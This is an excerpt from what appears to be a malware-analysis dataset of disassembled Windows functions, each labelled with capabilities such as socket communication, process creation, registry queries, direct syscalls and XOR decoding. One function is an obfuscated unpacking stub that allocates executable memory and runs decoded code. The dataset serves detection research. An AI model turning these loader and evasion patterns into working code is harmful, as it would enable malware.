joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40fc50
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov eax, 0x219c
push edi
push esi
push ebx
call fcn.004024f0
sub esp, eax
mov dword [esp], str.worldtimeapi.org
call dword [sym.imp.WS2_32.dll_gethostbyname]
sub esp, 4
test eax, eax
je 0x40fe70
mov dword [esp + 8], 0
mov esi, eax
mov dword [esp + 4], 1
mov dword [esp], 2
call dword [sym.imp.WS2_32.dll_socket]
sub esp, 0xc
mov ebx, eax
cmp eax, 0xffffffff
je 0x40fe70
mov eax, 2
mov ecx, 0x35
mov word [esp + 0x2c], ax
mov eax, 0x25
jmp 0x40fcc2
mov ecx, edx
cdq
idiv ecx
mov eax, ecx
test edx, edx
jne 0x40fcc0
mov dword [esp], 0x50
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [esi + 0xc]
movsx ecx, word [esi + 0xa]
sub esp, 4
mov edx, dword [edx]
mov word [esp + 0x2e], ax
lea eax, [esp + 0x30]
lea edi, [esp + 0x2c]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memcpy
mov dword [esp + 8], 0x10
mov dword [esp + 4], edi
mov dword [esp], ebx
call dword [sym.imp.WS2_32.dll_connect]
sub esp, 0xc
cmp eax, 0xffffffff
je 0x40fe68
lea esi, [esp + 0x190]
mov dword [esp + 0x10], str.worldtimeapi.org
mov dword [esp + 0xc], str._api_timezone_Europe_London.txt
mov dword [esp + 8], str.GET__s_HTTP_1.1_r_nHost:__s_r_nConnection:_close_r_n_r_n
mov dword [esp + 4], 0x1000
mov dword [esp], esi
call sym._snprintf.constprop.0
mov dword [esp], esi
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.WS2_32.dll_send]
sub esp, 0x10
cmp eax, 0xffffffff
je 0x40fe68
lea edi, [esp + 0x3c]
mov esi, 0x4110a0
mov ecx, 0x55
rep movsd dword es:[edi], dword [esi]
lea ebp, [esp + 0x3c]
lea esi, [esp + 0x18c]
mov edi, 0x54
nop
mov eax, ebp
test edi, edi
jle 0x40fdc5
lea esi, [esi]
lea esi, [esi]
mov edx, dword [eax]
mov ecx, dword [eax + 4]
cmp edx, ecx
jle 0x40fdbe
mov dword [eax], ecx
mov dword [eax + 4], edx
add eax, 4
cmp eax, esi
jne 0x40fdb0
sub edi, 1
lea eax, [esi - 4]
cmp ebp, esi
je 0x40fdd8
mov esi, eax
jmp 0x40fda0
mov edi, dword [sym.imp.WS2_32.dll_recv]
lea esi, [esp + 0x1190]
jmp 0x40fdf8
mov byte [esp + eax + 0x1190], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0xfff
mov dword [esp + 4], esi
mov dword [esp], ebx
call edi
sub esp, 0x10
test eax, eax
jg 0x40fdf0
lea eax, [esp + 0x28]
mov dword [esp + 4], str.unixtime
mov dword [esp + 8], eax
mov dword [esp], esi
call sym._extractField
mov eax, 0x42
mov ecx, 0x3e
jmp 0x40fe42
mov ecx, edx
cdq
idiv ecx
mov eax, ecx
test edx, edx
jne 0x40fe40
mov dword [esp], ebx
call sym._close
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [esp + 0x28]
add esp, 0x219c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], ebx
call sym._close
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov dword [esp], 1
call sym._exit
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x1a3b000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x1a3b00a
jmp 0x1a3d00f
jmp fcn.013a9058
Function at 0x100018b8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x100018c5
xor eax, eax
pop ebp
ret
push dword [ebp + 0x2c]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_CreateProcessA]
pop ebp
ret

Function at 0x10001bc3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78c]
sub esp, 0x80c
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x788], eax
push ebx
mov ebx, dword [ebp + 0x798]
push esi
mov esi, dword [ebp + 0x79c]
push edi
mov edi, dword [ebp + 0x794]
push 0x3ff
lea eax, [ebp + 0x389]
push 0
push eax
mov byte [ebp + 0x388], 0
call fcn.10004d20
push edi
push str.SOFTWAREClassesCLSID_sInprocServer32
mov edi, 0x400
lea eax, [ebp + 0x388]
push edi
push eax
call fcn.10005ebd
add esp, 0x1c
lea eax, [ebp - 0x7c]
push eax
push 0x20019
neg esi
push 0
lea eax, [ebp + 0x388]
sbb esi, esi
push eax
add esi, reloc.OLEAUT32.dll_SysReAllocString
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10001c5b
xor ecx, ecx
cmp eax, 2
sete cl
mov eax, ecx
jmp 0x10001c9d
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push 0x10019282
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
push dword [ebp - 0x7c]
test eax, eax
je 0x10001c85
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x10001c9d
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x78]
push eax
push ebx
call fcn.10005ebd
neg eax
pop ecx
sbb eax, eax
pop ecx
neg eax
mov ecx, dword [ebp + 0x788]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004d10
add ebp, 0x78c
leave
ret

Function at 0x10001e92
Capabilities:
Query environment variable

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 8], esi
je 0x10001eb3
push dword [esp + 0xc]
push dword [esp + 0xc]
push str.USER_JPI_PROFILE
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x10001eb3
inc esi
mov eax, esi
pop esi
ret
Function at 0x100028fc
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x100183ad
call fcn.10005580
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x1a
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x10002956
push edi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__szPath_
call fcn.10003e12
pop ecx
pop ecx
push ebx
push edi
call fcn.10005ebd
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.1000373b
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x10002973
call fcn.100035cd
jmp 0x10002975
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call fcn.10005ebd
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x100029c0
call fcn.1000390e
jmp 0x100029c0
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.10004d10
add ebp, 0x20c
leave
ret

Function at 0x100029ea
Capabilities:
Get common file path

Disassembly:
push ebp
sub esp, 0x208
lea ebp, [esp - 4]
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x208], eax
push 0xc
mov eax, 0x100183dd
call fcn.10005580
mov esi, dword [ebp + 0x214]
xor ebx, ebx
lea eax, [ebp]
push eax
push ebx
push ebx
push 0x23
push ebx
mov byte [esi], bl
mov dword [ebp - 4], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
cmp edi, ebx
jge 0x10002a44
push edi
push str.Error:_08x_in_::SHGetFolderPathW_0__CSIDL_COMMON_APPDATA__NULL__SHGFP_TYPE_CURRENT__szPath_
call fcn.10003e12
pop ecx
pop ecx
push ebx
push edi
call fcn.10005ebd
lea eax, [ebp]
push eax
lea ecx, [ebp - 0x14]
call fcn.1000373b
mov ecx, dword [eax]
mov byte [ebp - 4], 1
cmp ecx, ebx
je 0x10002a61
call fcn.100035cd
jmp 0x10002a63
xor eax, eax
push 0x104
push eax
push dword [ebp + 0x218]
push esi
call fcn.10005ebd
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp ecx, ebx
je 0x10002aae
call fcn.1000390e
jmp 0x10002aae
xor eax, eax
cmp edi, ebx
setge al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x208]
xor ecx, ebp
call fcn.10004d10
add ebp, 0x20c
leave
ret
Function at 0x1000319d
Capabilities:
Get common file path

Disassembly:
push 0x14
mov eax, 0x1001843d
call fcn.10005580
mov esi, dword [ebp + 8]
xor eax, eax
xor edi, edi
xor ebx, ebx
mov word [esi], ax
mov dword [ebp - 4], edi
call fcn.10005ebd
test eax, eax
je 0x100031c8
call fcn.1000318e
mov ebx, eax
push 0x104
push esi
push ebx
push edi
push 0x1001a0a8
call dword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov esi, eax
cmp esi, edi
jge 0x10003223
push esi
push str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.10003e12
pop ecx
pop ecx
push edi
push esi
call fcn.10005ebd
mov ecx, dword [ebp - 0x18]
mov esi, dword [ecx + 4]
mov dword [ebp - 0x14], esi
call fcn.10003873
push eax
push esi
push 0x10019474
call fcn.10003e12
or dword [ebp - 4], 0xffffffff
add esp, 0xc
mov eax, 0x1000321c
ret
cmp ebx, edi
je 0x1000322e
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x100032df
push dword [ebp + 8]
mov dword [ebp - 4], 2
push edi
push edi
push 0x1a
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x1000328b
push esi
push str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
jmp 0x100031e7
or dword [ebp - 4], 0xffffffff
cmp esi, edi
jge 0x100032df
push 1
push 0x1a
push dword [ebp + 8]
mov dword [ebp - 4], 4
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov esi, eax
cmp esi, edi
jge 0x100032df
push esi
push str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
jmp 0x100031e7
mov eax, esi
call fcn.100055b6
ret

Function at 0x10003623
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x1001e08c]
xor eax, ebp
mov dword [ebp + 0x9c], eax
mov eax, dword [ebp + 0xa8]
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 4]
or ecx, 0x2001f
push ecx
push eax
push dword [edi]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
call fcn.10005ebd
mov ebx, eax
cmp ebx, esi
je 0x10003696
lea ecx, [ebp - 0x74]
call fcn.10001115
mov eax, ebx
mov ecx, dword [ebp + 0x9c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10004d10
add ebp, 0xa0
leave
ret 4
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x100036ae
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x74]
call fcn.10003623
cmp eax, esi
jne 0x100036e0
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x64]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x68], 0x100
call ebx
test eax, eax
je 0x1000369e
lea ecx, [ebp - 0x74]
call fcn.10001115
push dword [ebp - 0x78]
mov ecx, edi
call fcn.100010a6
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.10001115
mov eax, esi
jmp 0x1000367c

Function at 0x10004d10
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001e08c]
jne 0x10004d1a
repz ret
jmp fcn.1000a8a3
Function at 0x10005ebd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x10005ecc
pop dword [ebp - 0x10]
mov eax, 0x6c836eb7
add eax, 0xa37cf015
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x43142cd1
sub dword [ebp - 0x20], 0xf4c1e786
mov dword [ebp - 0x1c], 0xe2f4941d
sub dword [ebp - 0x1c], 0xb0c147d8
mov dword [ebp - 0x18], 0x810faac8
sub dword [ebp - 0x18], 0x34c3669a
mov dword [ebp - 0x14], 0x923795f2
add dword [ebp - 0x14], 0x6dc86a0e
lea eax, [ebp - 0x20]
push eax
mov eax, 0x1effa4f5
sub eax, 0xefe14dd
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x34f4c77d
add dword [ebp - 0x20], 0x3f7da1d9
mov dword [ebp - 0x1c], 0x6a56e463
add dword [ebp - 0x1c], 0xd7157d12
mov dword [ebp - 0x18], 0x5f46b85a
sub dword [ebp - 0x18], 0xfbd74bee
mov dword [ebp - 0x14], 0xf42ef947
add dword [ebp - 0x14], 0xbd106b9
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x582bb35b
sub eax, 0x482a2347
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3917c
push 0
call eax
mov ecx, 0xa2b5b247
add ecx, 0x5d4a8c9a
mov edi, eax
mov esi, 0x1002be00
add esi, dword [ebp - 0x10]
mov ebx, 0x32d4c02a
sub ebx, 0x18ecbad
xor dword [ebp - 4], edi
mov edx, dword [esi]
add dword [ebp - 8], esi
sub edx, ebx
add dword [ebp - 8], ebx
mov dword [edi], edx
sub dword [ebp - 0xc], 0x3531f1aa
add edi, 0x24b626c4
add edi, 0xdb49d940
add esi, 4
loop 0x10005fe8
add eax, 0x3a3750a9
add eax, 0xc5c99dae
mov ebx, eax
add eax, 5
mov ecx, 0x5867e91e
add ecx, 0xb79816e2
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x100083df
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 8], 0
jge 0x10008401
mov eax, 0xfffffffd
jmp 0x100084e1
mov ebx, dword [0x100c1a3c]
add ebx, 0x1c
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
je 0x100084af
mov ebx, dword [0x100c1a3c]
add ebx, 4
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 6
jne 0x10008450
mov ebx, dword [0x100c1a3c]
add ebx, 8
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp - 0xc]
cmp dword [ebx], 2
jne 0x10008450
mov eax, 1
jmp 0x10008455
mov eax, 0
test eax, eax
je 0x10008481
mov eax, dword [ebp]
add eax, 0x80
mov ecx, 0x20
push dword [eax]
sub eax, 4
loop 0x1000846a
mov eax, dword [ebp + 8]
call dword fs:[0xc0]
nop
nop
leave
ret 4
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0xffff
shr ecx, 0x10
and ecx, 0xffff
mov edx, dword [ebp]
lea edx, [edx + 8]
call dword fs:[0xc0]
nop
nop
nop
nop
nop
leave
ret 4
mov ebx, dword [0x100c1a3c]
add ebx, 0x1c
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
jne 0x100084d7
mov eax, dword [ebp + 8]
mov edx, dword [ebp]
lea edx, [edx + 8]
int 0x2e
nop
leave
ret 4
mov eax, 0
jmp 0x100084e1
mov esp, ebp
pop ebp
ret 4

Function at 0x100086e8
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov dword [ebp + 8], 0x1000879b
mov eax, dword [ebp + 8]
leave
sub esp, 0x60
pushfd
pushal
push dword [esp + 0x84]
push 0
push eax
fnsave dword [esp + 0x30]
wait
push dword fs:[0]
mov dword fs:[0], esp
mov eax, 1
jmp dword [esp + 0xc]

Function at 0x1000911a
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
call fcn.100086e8
test eax, eax
je 0x1000915d
xor eax, eax
xchg dword [ebp + 8], eax
cmp eax, 0xffff
jle 0x1000915d
cmp word [eax], 0x5a4d
jne 0x1000915d
add eax, dword [eax + 0x3c]
cmp dword [eax], 0x4550
jne 0x1000915d
mov dword [ebp + 8], eax
mov dword [ebp - 4], 0
push 0
push dword [ebp - 4]
call fcn.100087ba
mov eax, dword [ebp + 8]
jmp 0x10009176
mov esp, ebp
pop ebp
ret 4
Function at 0x1001c7e0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x10095510
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
mov eax, dword [esp + 0x30]
push ebp
push esi
push edi
mov ecx, dword [eax]
push ecx
lea ecx, [esp + 0x10]
call fcn.1008a8c9
mov esi, dword [esp + 0xc]
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0
xor ebp, ebp
call fcn.1001d720
mov ecx, dword [esp + 0x40]
mov byte [esp + 0x2c], 1
cmp ecx, 3
ja case.default.0x1001c834
jmp dword [ecx*4 + 0x1001c99c]
mov al, byte [esi]
test al, al
je 0x1001c862
cmp al, 0x20
je 0x1001c84e
cmp al, 0xa1
jne 0x1001c862
cmp byte [esi + 1], al
jne 0x1001c862
test al, 0x80
je 0x1001c85a
mov al, byte [esi + 1]
inc esi
test al, al
je 0x1001c862
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x1001c841
test ecx, ecx
je case.default.0x1001c834
mov dl, byte [esi]
xor ecx, ecx
test dl, dl
mov eax, esi
je case.default.0x1001c834
mov edi, dword [esp + 0x3c]
mov dl, byte [eax]
test dl, 0x80
je 0x1001c8a8
cmp dl, 0xa1
jne 0x1001c89c
cmp byte [eax + 1], 0xa1
jne 0x1001c89c
test ecx, ecx
jne 0x1001c894
mov edi, eax
mov ecx, 1
inc eax
jmp 0x1001c8bc
mov dl, byte [eax + 1]
inc eax
xor ecx, ecx
test dl, dl
je 0x1001c8d6
jmp 0x1001c8bc
cmp dl, 0x20
jne 0x1001c8ba
test ecx, ecx
jne 0x1001c8b3
mov edi, eax
mov ecx, 1
jmp 0x1001c8bc
xor ecx, ecx
mov dl, byte [eax + 1]
inc eax
test dl, dl
jne 0x1001c87c
cmp ecx, 1
jne case.default.0x1001c834
mov dl, byte [edi]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x1001c834
mov dl, byte [eax - 1]
lea edi, [eax - 1]
mov ebp, edi
mov byte [esp + 0x3c], dl
mov byte [edi], 0
jmp case.default.0x1001c834
mov al, byte [esi]
test al, al
je 0x1001c92e
test al, 0x80
mov byte [esp + 0x3c], al
je 0x1001c914
mov cl, byte [esi + 1]
test cl, cl
je 0x1001c92e
cmp al, 0xa1
jne 0x1001c904
cmp cl, al
je 0x1001c911
mov ax, word [esi]
lea ecx, [esp + 0x10]
push eax
call fcn.1001d9f0
inc esi
jmp 0x1001c926
cmp al, 0x20
je 0x1001c926
mov ecx, dword [esp + 0x3c]
push ecx
lea ecx, [esp + 0x14]
call fcn.1001da30
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x1001c8ed
push 0
lea ecx, [esp + 0x14]
call fcn.1001da30
mov esi, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.10026af0
mov edx, dword [esp + 0x38]
add esp, 4
test ebp, ebp
mov dword [edx], eax
je 0x1001c961
mov al, byte [esp + 0x3c]
mov byte [ebp], al
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 0
mov dword [esp + 0x10], 0x1009cb20
call fcn.1001d920
lea ecx, [esp + 0xc]
mov dword [esp + 0x2c], 0xffffffff
call fcn.1008a85b
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x10021610
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x1009587b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.1008a5d0
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x10021692
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.10088416
mov eax, dword [eax]
push 0x100b3c88
push eax
call fcn.1007a734
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.1008a85b
test bl, bl
je 0x10021692
push 0x100b3c88
lea ecx, [esp + 0xc]
call fcn.1008abeb
push 0x100b3c94
lea ecx, [esp + 0xc]
call fcn.1008abeb
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x100216ce
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.1008a85b
jmp 0x10021799
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x10021752
lea edx, [esp + 0x7c]
push 0x100b3c90
push edx
call fcn.1007a734
add esp, 8
test eax, eax
je 0x10021752
lea eax, [esp + 0x7c]
push 0x100b3c8c
push eax
call fcn.1007a734
add esp, 8
test eax, eax
je 0x10021752
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100216e2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.1008a85b
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x10021f90
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x10021ff2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x10022000
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x100958fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x100bd868]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x10022138
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x10022066
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.1008a85b
xor eax, eax
jmp 0x100221af
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.1008a998
push esi
lea ecx, [esp + 0xc]
call fcn.1008ac27
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x1002218d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.10021f90
test eax, eax
jne 0x1002218d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.10021f90
test eax, eax
jne 0x1002218d
lea eax, [esp + 0x14]
push 0x100b3ca4
push eax
call fcn.1007b7b0
mov esi, eax
add esp, 8
test esi, esi
jne 0x1002216c
lea ecx, [esp + 0x14]
push 0x100b3ca0
push ecx
call fcn.1007b730
mov esi, eax
add esp, 8
test esi, esi
jne 0x1002216c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x1002216f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.1008a948
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x1002207e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.1008a85b
xor eax, eax
jmp 0x100221af
mov byte [esi], 0
push 0x100b3c9c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.1008a85b
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4